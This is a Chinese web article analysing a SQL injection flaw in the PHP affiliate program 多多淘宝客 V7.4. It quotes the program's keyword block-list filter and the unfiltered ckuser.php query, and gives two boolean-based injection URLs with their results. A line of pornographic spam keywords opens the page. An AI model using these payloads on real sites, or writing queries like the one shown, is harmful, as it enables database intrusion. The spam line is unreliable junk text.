亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

多多淘寶客V7.4繞過防注入及一個注入漏洞的分析

  發(fā)布時間:2012-06-07 08:42:44   作者:佚名   我要評論
本文詳解了多多淘寶客V7.4繞過防注入及一個注入漏洞的分析
由于程序是開源程序
并下載其程序看了一番。其實程序員還是有一點安全意識的:
防注入代碼:

復制代碼
代碼如下:

//要過濾的非法字符
$ArrFiltrate = array (
"#union#i",
"#<script#i",
"#/script>#i",
"#select#i",
"#alert#i",
"#javascript#i",
"#<table#i",
"#<td#i",
"#\"#i",
"#\'#i",
"#delete#i",
"#vbscript#i",
"#applet#i",
"#frame#i",
"#<div#i",
"#update#i",
"#'#i",
"#union #i",
"#select #i",
"#delete #i",
"#update #i",
"#and #i",
"#;#i",
"#update#i"
);
$replacements='';
function FunStringExist(&$array,$ArrFiltrate,$replacements)
{
if (is_array($array))
{
foreach ($array as $key => $value)
{
if (is_array($value))
FunStringExist($array[$key],$ArrFiltrate,$replacements);
else
$array[$key] = preg_replace($ArrFiltrate, $replacements, $value);
}
}
}
FunStringExist($_GET,$ArrFiltrate,$replacements);
FunStringExist($_POST,$ArrFiltrate,$replacements);

這段代碼多少還是有瑕疵的、只過濾chabaoo.cn get post 我們只要找調(diào)用request的地方
別一個文件并沒有調(diào)用防注入程序,導致字符注入、但受gpc影響

復制代碼
代碼如下:

header("Content-Type:text/html;charset=utf-8");
include "../comm/config.php";
$uname = trim($_GET["name"]);
if($uname==''){
echo "true";
}else{
$con = @mysql_connect("$dbserver","$dbuser","$dbpass" )or die(ERR_DB);
mysql_select_db("$dbname",$con)or die("can not choose the dbname!");
$query="select * from ".$BIAOTOU."user where ddusername='".$uname."'";
mysql_query("set names utf8");
$res=mysql_query($query);
if(mysql_num_rows($res)!=0)
{echo "true";}
else
{echo "false";}
}

首先注冊一個用戶.讓程序能過判斷
ckuser.php?name=maxadd' and 1=1 and ''='
返回true
ckuser.php?name=maxadd' and 1=2 and ''='
返回false

相關文章

最新評論